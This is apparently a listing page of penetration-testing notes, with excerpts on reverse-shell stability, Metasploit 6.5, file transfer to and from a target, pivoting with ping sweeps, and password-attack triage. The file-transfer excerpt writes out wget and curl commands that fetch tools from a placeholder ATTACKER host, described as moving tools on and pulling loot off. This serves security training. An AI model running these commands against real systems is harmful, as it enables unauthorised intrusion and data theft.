Posts on: Payloads

---

A shell is only useful if it is stable, interactive, and reachable. A raw nc catch that dies on Ctrl+C, cannot run sudo because there is no TTY, or never arrives because port 4444 is filtered is not a foothold — it is a time sink. This file covers payloads, but it is organised around the three failure modes you will actually hit: the shell does not connect, the shell connects but is unusable, and the shell connects but dies.

The Metasploit Framework is a Ruby-based penetration testing platform for writing, testing, and executing exploit code. It contains a suite of tools to test security vulnerabilities, enumerate networks, execute attacks, and evade detection. 2025–2026 context: Metasploit 6.5 (July 2026) is the most significant release in years. It adds Malleable C2 profiles across all Meterpreter runtimes, an MCP server for AI-assisted interaction, expanded NTLM relay modules (HTTP-to-SMB, HTTP-to-LDAP, NTLMRelay2Self), fileless Linux execution via memfd_create, and MITRE ATT&CK module tagging . The persistence system was completely overhauled starting July 2025, with standardization across platforms and many new Windows techniques .

Moving a tool onto a target and pulling loot off it is a prerequisite for almost every other phase. This file covers transfers in both directions, on both Linux and Windows, with an emphasis on methods that work when wget, curl, ssh, and nc are missing, blocked, or monitored. 1. Basic Methods (Linux) Command Description cat file | base64 -w 0; echo Encode a file to a single base64 line for copy-paste echo 'BASE64' | base64 -d > file Decode on the other side wget http://ATTACKER/file -O /tmp/file Download with wget curl http://ATTACKER/file -o /tmp/file Download with curl python3 -m http.server 80 Start a quick HTTP server on the attacker box When wget/curl are missing:

Pivoting is moving to other networks through a compromised host (the pivot) to reach targets on different segments. Its primary use is defeating segmentation — physical or virtual — to access an isolated network. Tunneling is a subset of pivoting. It encapsulates network traffic in another protocol and routes it through that protocol. Port forwarding redirects a communication request from one port to another. 1. Initial Enumeration — Finding More Targets Finding networks Command Description ifconfig / ip a Linux network configuration ipconfig /all Windows network configuration netstat -r / route Routing table for IPv4 netstat -antp Active connections with PIDs — identifies internal services to enumerate through the pivot netstat -antb | findstr 1080 Windows: TCP connections listening on port 1080 Internal host discovery Command Description for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done Linux ping sweep for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply" Windows CMD ping sweep 1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"} PowerShell ping sweep Through a SOCKS proxy: ICMP and SYN scans cannot be tunnelled. Always use nmap -Pn -sT (TCP connect, no ping discovery) when scanning through proxychains or any SOCKS-based pivot.

Password attacks fail for three reasons: attacking the wrong hash type, locking out accounts by spraying carelessly, or missing credentials that are already on the box. This file is organised to avoid all three — identify the hash first, spray safely, and harvest what is already there before cracking anything. 0. Triage — Read This Before Cracking Most wasted time in password attacks comes from running hashcat against an unrecognised hash. Run these three steps first.